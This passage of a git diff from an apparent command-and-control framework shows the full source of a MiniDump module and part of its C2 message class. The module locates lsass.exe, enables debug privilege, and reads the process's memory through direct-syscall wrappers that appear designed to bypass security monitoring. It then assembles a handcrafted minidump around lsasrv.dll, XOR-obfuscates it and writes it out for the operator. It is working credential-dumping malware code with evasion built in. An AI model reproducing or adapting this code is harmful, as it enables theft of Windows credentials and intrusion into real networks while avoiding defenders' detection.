0x10); // Get DLL base address @@ -440,14 +440,14 @@ std::vector CustomGetModuleHandle(HANDLE hProcess, const std: std::string full_dll_name = ReadRemoteWStr(hProcess, full_dll_name_addr); if (dll_base != 0 && (moduleName.empty() || ci_contains(base_dll_name, moduleName))) - { - ModuleInformation mi; - memset(&mi, 0, sizeof(mi)); - strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1); - strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1); - mi.dll_base = dll_base; - mi.size = 0; - modules.push_back(mi); + { + ModuleInformation mi; + memset(&mi, 0, sizeof(mi)); + strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1); + strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1); + mi.dll_base = dll_base; + mi.size = 0; + modules.push_back(mi); } next_flink = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + 0x10)); @@ -459,24 +459,24 @@ std::vector CustomGetModuleHandle(HANDLE hProcess, const std: DWORD GetPidByName(const char * pName) { - PROCESSENTRY32 pEntry; - HANDLE snapshot; + PROCESSENTRY32 pEntry; + HANDLE snapshot; - pEntry.dwSize = sizeof(PROCESSENTRY32); - snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + pEntry.dwSize = sizeof(PROCESSENTRY32); + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (Process32First(snapshot, &pEntry) == TRUE) - { - while (Process32Next(snapshot, &pEntry) == TRUE) - { - if (_stricmp(pEntry.szExeFile, pName) == 0) - { - return pEntry.th32ProcessID; - } - } - } - CloseHandle(snapshot); - return 0; + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (_stricmp(pEntry.szExeFile, pName) == 0) + { + return pEntry.th32ProcessID; + } + } + } + CloseHandle(snapshot); + return 0; } @@ -487,10 +487,10 @@ BOOL setDebugPrivilege() LUID luid = { 0 }; // if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) - Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); - if(hToken!=NULL) + Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); + if(hToken!=NULL) { - // TODO do manualy + // TODO do manualy if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { TOKEN_PRIVILEGES tokenPriv = { 0 }; @@ -499,8 +499,8 @@ BOOL setDebugPrivilege() tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL); - Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL); - bRet = TRUE; + Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL); + bRet = TRUE; } } @@ -554,16 +554,16 @@ typedef LONG(WINAPI* RtlGetVersionPtr)(POSVERSIONINFOW); OSVERSIONINFOW GetOSInfo() { - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion"); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion"); OSVERSIONINFOW osvi = { 0 }; osvi.dwOSVersionInfoSize = sizeof(osvi); if (RtlGetVersion(&osvi) == 0) - { + { return osvi; } else - { + { return osvi; } } @@ -572,49 +572,49 @@ OSVERSIONINFOW GetOSInfo() // https://github.com/ricardojoserf/NativeDump void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::vector& mem64info_List, const std::string& memoryRegions_byte_arr, std::string& dumpfile) { - std::vector tmp; + std::vector tmp; - // - // Header - 32 bytes - // - MiniDumpHeader header = { 0 };; - header.Signature = 0x504d444d; - header.Version = 0xa793; - header.NumberOfStreams = 0x3; - header.StreamDirectoryRva = 0x20; + // + // Header - 32 bytes + // + MiniDumpHeader header = { 0 };; + header.Signature = 0x504d444d; + header.Version = 0xa793; + header.NumberOfStreams = 0x3; + header.StreamDirectoryRva = 0x20; - std::vector header_byte_arr = StructToByteArray(header); - // std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl; - // std::cout << "header_byte_arr should be 32 bytes" << std::endl; - - // - // Stream Directory - 36 bytes - // - MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };; - minidumpStreamDirectoryEntry_1.StreamType = 4; - minidumpStreamDirectoryEntry_1.DataSize = 112; - minidumpStreamDirectoryEntry_1.Rva = 0x7c; - MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };; - minidumpStreamDirectoryEntry_2.StreamType = 7; - minidumpStreamDirectoryEntry_2.DataSize = 56; - minidumpStreamDirectoryEntry_2.Rva = 0x44; - MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };; - minidumpStreamDirectoryEntry_3.StreamType = 9; - minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size()); - minidumpStreamDirectoryEntry_3.Rva = 0x12A; + std::vector header_byte_arr = StructToByteArray(header); + // std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl; + // std::cout << "header_byte_arr should be 32 bytes" << std::endl; + + // + // Stream Directory - 36 bytes + // + MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };; + minidumpStreamDirectoryEntry_1.StreamType = 4; + minidumpStreamDirectoryEntry_1.DataSize = 112; + minidumpStreamDirectoryEntry_1.Rva = 0x7c; + MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };; + minidumpStreamDirectoryEntry_2.StreamType = 7; + minidumpStreamDirectoryEntry_2.DataSize = 56; + minidumpStreamDirectoryEntry_2.Rva = 0x44; + MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };; + minidumpStreamDirectoryEntry_3.StreamType = 9; + minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size()); + minidumpStreamDirectoryEntry_3.Rva = 0x12A; - std::vector streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1); - tmp = StructToByteArray(minidumpStreamDirectoryEntry_2); - streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end()); - tmp = StructToByteArray(minidumpStreamDirectoryEntry_3); - streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end()); - // std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl; - - // - // SystemInfoStream - 56 bytes - // - OSVERSIONINFOW osvi = GetOSInfo(); - uint8_t systeminfostream[56] = { 0 }; + std::vector streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1); + tmp = StructToByteArray(minidumpStreamDirectoryEntry_2); + streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end()); + tmp = StructToByteArray(minidumpStreamDirectoryEntry_3); + streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end()); + // std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl; + + // + // SystemInfoStream - 56 bytes + // + OSVERSIONINFOW osvi = GetOSInfo(); + uint8_t systeminfostream[56] = { 0 }; int processor_architecture = 9; uint32_t majorVersion = osvi.dwMajorVersion; uint32_t minorVersion = osvi.dwMinorVersion; @@ -624,75 +624,75 @@ void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::ve memcpy(systeminfostream + 12, &minorVersion, 4); memcpy(systeminfostream + 16, &buildNumber, 4); - std::vector systemInfoStream_byte_arr = StructToByteArray(systeminfostream); - // std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl; - // std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl; - - // - // ModuleList - // - MiniDumpModule module = { 0 }; - module.NumberOfModules = 1; - module.BaseOfImage = reinterpret_cast(lsasrvdll_address); - module.SizeOfImage = lsasrvdll_size; - module.ModuleNameRva = 0xE8; - // module.Reserved1 = 0; + std::vector systemInfoStream_byte_arr = StructToByteArray(systeminfostream); + // std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl; + // std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl; + + // + // ModuleList + // + MiniDumpModule module = { 0 }; + module.NumberOfModules = 1; + module.BaseOfImage = reinterpret_cast(lsasrvdll_address); + module.SizeOfImage = lsasrvdll_size; + module.ModuleNameRva = 0xE8; + // module.Reserved1 = 0; - // quick fix on the size!!! - std::vector moduleListStream_byte_arr = StructToByteArray(module); - moduleListStream_byte_arr.push_back(0); - moduleListStream_byte_arr.push_back(0); - moduleListStream_byte_arr.push_back(0); - moduleListStream_byte_arr.push_back(0); - // std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl; - // std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl; + // quick fix on the size!!! + std::vector moduleListStream_byte_arr = StructToByteArray(module); + moduleListStream_byte_arr.push_back(0); + moduleListStream_byte_arr.push_back(0); + moduleListStream_byte_arr.push_back(0); + moduleListStream_byte_arr.push_back(0); + // std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl; + // std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl; - std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll"; - ModuleSize moduleSize; - moduleSize.size = moduleName.size()*2; - tmp = StructToByteArray(moduleSize); - moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end()); - tmp = StringToUnicodeVector(moduleName.c_str()); - moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end()); - moduleListStream_byte_arr.push_back(0); - moduleListStream_byte_arr.push_back(0); - // std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl; - // std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl; + std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll"; + ModuleSize moduleSize; + moduleSize.size = moduleName.size()*2; + tmp = StructToByteArray(moduleSize); + moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end()); + tmp = StringToUnicodeVector(moduleName.c_str()); + moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end()); + moduleListStream_byte_arr.push_back(0); + moduleListStream_byte_arr.push_back(0); + // std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl; + // std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl; - // - // Memory64List - // - int number_of_entries = mem64info_List.size(); - int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries); - MiniDumpMemory64ListStream memory64ListStream = { 0 }; - memory64ListStream.NumberOfEntries = number_of_entries; - memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions; - std::vector memory64ListStream_byte_arr = StructToByteArray(memory64ListStream); - // std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl; - // std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl; + // + // Memory64List + // + int number_of_entries = mem64info_List.size(); + int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries); + MiniDumpMemory64ListStream memory64ListStream = { 0 }; + memory64ListStream.NumberOfEntries = number_of_entries; + memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions; + std::vector memory64ListStream_byte_arr = StructToByteArray(memory64ListStream); + // std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl; + // std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl; - // std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+ - for (int i = 0; i < mem64info_List.size(); i++) - { - MiniDumpMemory64Info memory64Info; - memory64Info.address = reinterpret_cast(mem64info_List[i].Address); - memory64Info.size = mem64info_List[i].Size; - tmp = StructToByteArray(memory64Info); - memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end()); - } - // std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl; + // std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+ + for (int i = 0; i < mem64info_List.size(); i++) + { + MiniDumpMemory64Info memory64Info; + memory64Info.address = reinterpret_cast(mem64info_List[i].Address); + memory64Info.size = mem64info_List[i].Size; + tmp = StructToByteArray(memory64Info); + memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end()); + } + // std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl; - // Create Minidump file complete byte array - std::vector finalBuffer = header_byte_arr; - finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end()); - finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end()); - finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end()); - finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end()); - finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end()); - // std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl; - // std::cout << "finalBuffer " << finalBuffer.size() << std::endl; + // Create Minidump file complete byte array + std::vector finalBuffer = header_byte_arr; + finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end()); + finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end()); + finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end()); + finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end()); + finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end()); + // std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl; + // std::cout << "finalBuffer " << finalBuffer.size() << std::endl; - dumpfile = std::string(finalBuffer.begin(), finalBuffer.end()); + dumpfile = std::string(finalBuffer.begin(), finalBuffer.end()); } #endif @@ -710,157 +710,157 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage) #ifdef _WIN32 - if(c2Message.cmd() == dumpCmd) - { - std::string procname = "lsass.exe"; - DWORD dwPid = GetPidByName(procname.c_str()); - // std::cout << "dwPid " << dwPid << std::endl; - if(dwPid==0) - { - c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND); - return -1; - } + if(c2Message.cmd() == dumpCmd) + { + std::string procname = "lsass.exe"; + DWORD dwPid = GetPidByName(procname.c_str()); + // std::cout << "dwPid " << dwPid << std::endl; + if(dwPid==0) + { + c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND); + return -1; + } - BOOL ret = setDebugPrivilege(); - // std::cout << "ret " << ret << std::endl; - if(ret==FALSE) - { - c2RetMessage.set_errorCode(ERROR_SETDEBUG); - return -1; - } + BOOL ret = setDebugPrivilege(); + // std::cout << "ret " << ret << std::endl; + if(ret==FALSE) + { + c2RetMessage.set_errorCode(ERROR_SETDEBUG); + return -1; + } - // Get process handle with NtOpenProcess - HANDLE lsassHandle=NULL; - CLIENT_ID client_id = {0}; - client_id.UniqueProcess = (HANDLE)dwPid; - client_id.UniqueThread = 0; - OBJECT_ATTRIBUTES objAttr = {0}; - Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id); - // HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid); - // std::cout << "lsassHandle " << lsassHandle << std::endl; - if(lsassHandle==NULL) - { - c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS); - return -1; - } + // Get process handle with NtOpenProcess + HANDLE lsassHandle=NULL; + CLIENT_ID client_id = {0}; + client_id.UniqueProcess = (HANDLE)dwPid; + client_id.UniqueThread = 0; + OBJECT_ATTRIBUTES objAttr = {0}; + Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id); + // HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid); + // std::cout << "lsassHandle " << lsassHandle << std::endl; + if(lsassHandle==NULL) + { + c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS); + return -1; + } - // Loop the memory regions - SYSTEM_INFO sysInfo; - GetSystemInfo(&sysInfo); + // Loop the memory regions + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); - MEMORY_BASIC_INFORMATION mbi; - char* address = 0; + MEMORY_BASIC_INFORMATION mbi; + char* address = 0; - // Get lsasrv.dll information - // Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp - std::string lsasrvDll = "lsasrv.dll"; - // HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str()); - // if(lsassHandle==NULL) - // { - // c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE); - // return -1; - // } + // Get lsasrv.dll information + // Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp + std::string lsasrvDll = "lsasrv.dll"; + // HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str()); + // if(lsassHandle==NULL) + // { + // c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE); + // return -1; + // } - std::vector modules = CustomGetModuleHandle(lsassHandle, lsasrvDll); - if(modules.size()==0) - { - c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE); - return -1; - } - HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base; + std::vector modules = CustomGetModuleHandle(lsassHandle, lsasrvDll); + if(modules.size()==0) + { + c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE); + return -1; + } + HMODULE lsasrvdll_address = (HMODULE)modules[0].dll_base; - int lsasrvdll_size = 0; - bool bool_test = false; + int lsasrvdll_size = 0; + bool bool_test = false; - std::vector mem64info_List; - std::string memory_regions; - while (address < sysInfo.lpMaximumApplicationAddress) - { - // TODO NtQueryVirtualMemory - // if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi)) - SIZE_T returnLength; - if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength)) - { - if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) - { - mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize); + std::vector mem64info_List; + std::string memory_regions; + while (address < sysInfo.lpMaximumApplicationAddress) + { + // TODO NtQueryVirtualMemory + // if (VirtualQueryEx(lsassHandle, address, &mbi, sizeof(mbi)) == sizeof(mbi)) + SIZE_T returnLength; + if (!Sw3NtQueryVirtualMemory_(lsassHandle, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength)) + { + if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) + { + mem64info_List.emplace_back(mbi.BaseAddress, mbi.RegionSize); - char* buffer = new char[mbi.RegionSize]; - SIZE_T bytesRead; - // TODO NtReadVirtualMemory - // ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead); - Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead); - memory_regions.append(buffer, mbi.RegionSize); - delete buffer; + char* buffer = new char[mbi.RegionSize]; + SIZE_T bytesRead; + // TODO NtReadVirtualMemory + // ReadProcessMemory(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead); + Sw3NtReadVirtualMemory_(lsassHandle, (PVOID)address, buffer, mbi.RegionSize, &bytesRead); + memory_regions.append(buffer, mbi.RegionSize); + delete buffer; - // append_binary_data(filename, buffer); + // append_binary_data(filename, buffer); - // Calculate size of lsasrv.dll region - if (mbi.BaseAddress == lsasrvdll_address) - { - bool_test = true; - } - if (bool_test == true) - { - if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address) - { - bool_test = false; - } - else - { - lsasrvdll_size += (int)mbi.RegionSize; - } - } - } - } - address += mbi.RegionSize; - } + // Calculate size of lsasrv.dll region + if (mbi.BaseAddress == lsasrvdll_address) + { + bool_test = true; + } + if (bool_test == true) + { + if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvdll_address) + { + bool_test = false; + } + else + { + lsasrvdll_size += (int)mbi.RegionSize; + } + } + } + } + address += mbi.RegionSize; + } - CloseHandle(lsassHandle); + CloseHandle(lsassHandle); - std::string dumpfile; - CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile); + std::string dumpfile; + CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_regions, dumpfile); - XOR(dumpfile, xorKey); + XOR(dumpfile, xorKey); - // Save to file - std::string dmpFileName = c2Message.outputfile(); - bool writeOk = WriteStringToFile(dmpFileName, dumpfile); - if(!writeOk) - { - c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE); - return -1; - } + // Save to file + std::string dmpFileName = c2Message.outputfile(); + bool writeOk = WriteStringToFile(dmpFileName, dumpfile); + if(!writeOk) + { + c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE); + return -1; + } - c2RetMessage.set_returnvalue("Success"); - return 0; - } - + c2RetMessage.set_returnvalue("Success"); + return 0; + } + #endif - return 0; + return 0; } int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==LSASS_PID_NOT_FOUND) - errorMsg = "lsass.exe PID not found."; - else if(errorCode==ERROR_SETDEBUG) - errorMsg = "setDebugPrivilege failed."; - else if(errorCode==ERROR_OPEN_PROCESS) - errorMsg = "OpenProcess failed."; - else if(errorCode==ERROR_GET_REMOTE_HANDLE) - errorMsg = "GetRemoteModuleHandle failed."; - else if(errorCode==ERROR_WRITE_OUTPUT_FILE) - errorMsg = "Write output file failed."; - else - errorMsg = "Unknown error"; - - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==LSASS_PID_NOT_FOUND) + errorMsg = "lsass.exe PID not found."; + else if(errorCode==ERROR_SETDEBUG) + errorMsg = "setDebugPrivilege failed."; + else if(errorCode==ERROR_OPEN_PROCESS) + errorMsg = "OpenProcess failed."; + else if(errorCode==ERROR_GET_REMOTE_HANDLE) + errorMsg = "GetRemoteModuleHandle failed."; + else if(errorCode==ERROR_WRITE_OUTPUT_FILE) + errorMsg = "Write output file failed."; + else + errorMsg = "Unknown error"; + + } #endif - return 0; + return 0; } \ No newline at end of file diff --git a/modules/MiniDump/MiniDump.hpp b/modules/MiniDump/MiniDump.hpp index 093c331..8dfcd54 100644 --- a/modules/MiniDump/MiniDump.hpp +++ b/modules/MiniDump/MiniDump.hpp @@ -7,21 +7,21 @@ class MiniDump : public ModuleCmd { public: - MiniDump(); - ~MiniDump(); + MiniDump(); + ~MiniDump(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_WINDOWS; } private: - + }; diff --git a/modules/ModuleCmd/C2Message.hpp b/modules/ModuleCmd/C2Message.hpp index 0d1d4a3..103bea7 100644 --- a/modules/ModuleCmd/C2Message.hpp +++ b/modules/ModuleCmd/C2Message.hpp @@ -36,253 +36,253 @@ class C2Message { public: - C2Message() - { - m_instruction = ""; - m_cmd = ""; - m_returnValue = ""; - m_inputFile = ""; - m_outputFile = ""; - m_data = ""; - m_args = ""; - m_pid = -100; - m_errorCode = -1; - m_uuid = ""; - } + C2Message() + { + m_instruction = ""; + m_cmd = ""; + m_returnValue = ""; + m_inputFile = ""; + m_outputFile = ""; + m_data = ""; + m_args = ""; + m_pid = -100; + m_errorCode = -1; + m_uuid = ""; + } - ~C2Message() - { - } + ~C2Message() + { + } - void CopyFrom(C2Message& c2Message) - { - m_instruction = c2Message.instruction(); - m_cmd = c2Message.cmd(); - m_returnValue = c2Message.returnvalue(); - m_inputFile = c2Message.inputfile(); - m_outputFile = c2Message.outputfile(); - m_data = c2Message.data(); - m_args = c2Message.args(); - m_pid = c2Message.pid(); - m_errorCode = c2Message.errorCode(); - m_uuid = c2Message.uuid(); - } + void CopyFrom(C2Message& c2Message) + { + m_instruction = c2Message.instruction(); + m_cmd = c2Message.cmd(); + m_returnValue = c2Message.returnvalue(); + m_inputFile = c2Message.inputfile(); + m_outputFile = c2Message.outputfile(); + m_data = c2Message.data(); + m_args = c2Message.args(); + m_pid = c2Message.pid(); + m_errorCode = c2Message.errorCode(); + m_uuid = c2Message.uuid(); + } - void operator=(const C2Message& c2Message) - { - m_instruction = c2Message.instruction(); - m_cmd = c2Message.cmd(); - m_returnValue = c2Message.returnvalue(); - m_inputFile = c2Message.inputfile(); - m_outputFile = c2Message.outputfile(); - m_data = c2Message.data(); - m_args = c2Message.args(); - m_pid = c2Message.pid(); - m_errorCode = c2Message.errorCode(); - m_uuid = c2Message.uuid(); - } + void operator=(const C2Message& c2Message) + { + m_instruction = c2Message.instruction(); + m_cmd = c2Message.cmd(); + m_returnValue = c2Message.returnvalue(); + m_inputFile = c2Message.inputfile(); + m_outputFile = c2Message.outputfile(); + m_data = c2Message.data(); + m_args = c2Message.args(); + m_pid = c2Message.pid(); + m_errorCode = c2Message.errorCode(); + m_uuid = c2Message.uuid(); + } - void ParseFromArray(const char* data, int size) - { - std::string input(data, size); - nlohmann::json my_json;; - try - { - my_json = nlohmann::json::parse(input); - } - catch (...) - { - return; - } + void ParseFromArray(const char* data, int size) + { + std::string input(data, size); + nlohmann::json my_json;; + try + { + my_json = nlohmann::json::parse(input); + } + catch (...) + { + return; + } - auto it = my_json.find(InstructionMsgTag); - if(it != my_json.end()) - m_instruction = my_json[InstructionMsgTag].get(); + auto it = my_json.find(InstructionMsgTag); + if(it != my_json.end()) + m_instruction = my_json[InstructionMsgTag].get(); - it = my_json.find(CmdMsgTag); - if(it != my_json.end()) - m_cmd = my_json[CmdMsgTag].get(); - - it = my_json.find(ReturnValueTag); - if(it != my_json.end()) - { - std::string returnValueB64 = my_json[ReturnValueTag].get(); - m_returnValue = base64_decode(returnValueB64); - } - - it = my_json.find(InputFileTag); - if(it != my_json.end()) - { - std::string inputFileB64 = my_json[InputFileTag].get(); - m_inputFile = base64_decode(inputFileB64); - } - - it = my_json.find(OutputFileTag); - if(it != my_json.end()) - { - std::string outputFileB64 = my_json[OutputFileTag].get(); - m_outputFile = base64_decode(outputFileB64); - } - - it = my_json.find(DataTag); - if(it != my_json.end()) - { - std::string dataB64 = my_json[DataTag].get(); - m_data = base64_decode(dataB64); - } - - it = my_json.find(ArgsTag); - if(it != my_json.end()) - m_args = my_json[ArgsTag].get(); - - it = my_json.find(PidTag); - if(it != my_json.end()) - m_pid = my_json[PidTag].get(); + it = my_json.find(CmdMsgTag); + if(it != my_json.end()) + m_cmd = my_json[CmdMsgTag].get(); + + it = my_json.find(ReturnValueTag); + if(it != my_json.end()) + { + std::string returnValueB64 = my_json[ReturnValueTag].get(); + m_returnValue = base64_decode(returnValueB64); + } + + it = my_json.find(InputFileTag); + if(it != my_json.end()) + { + std::string inputFileB64 = my_json[InputFileTag].get(); + m_inputFile = base64_decode(inputFileB64); + } + + it = my_json.find(OutputFileTag); + if(it != my_json.end()) + { + std::string outputFileB64 = my_json[OutputFileTag].get(); + m_outputFile = base64_decode(outputFileB64); + } + + it = my_json.find(DataTag); + if(it != my_json.end()) + { + std::string dataB64 = my_json[DataTag].get(); + m_data = base64_decode(dataB64); + } + + it = my_json.find(ArgsTag); + if(it != my_json.end()) + m_args = my_json[ArgsTag].get(); + + it = my_json.find(PidTag); + if(it != my_json.end()) + m_pid = my_json[PidTag].get(); - it = my_json.find(ErrorCodeTag); - if(it != my_json.end()) - m_errorCode = my_json[ErrorCodeTag].get(); + it = my_json.find(ErrorCodeTag); + if(it != my_json.end()) + m_errorCode = my_json[ErrorCodeTag].get(); - it = my_json.find(UuidMsgTag); - if(it != my_json.end()) - m_uuid = my_json[UuidMsgTag].get(); - } + it = my_json.find(UuidMsgTag); + if(it != my_json.end()) + m_uuid = my_json[UuidMsgTag].get(); + } - void SerializeToString(std::string* output) - { - std::string dataB64 = base64_encode(m_data); - std::string inputFileB64 = base64_encode(m_inputFile); - std::string outputFileB64 = base64_encode(m_outputFile); - std::string returnValueB64 = base64_encode(m_returnValue); + void SerializeToString(std::string* output) + { + std::string dataB64 = base64_encode(m_data); + std::string inputFileB64 = base64_encode(m_inputFile); + std::string outputFileB64 = base64_encode(m_outputFile); + 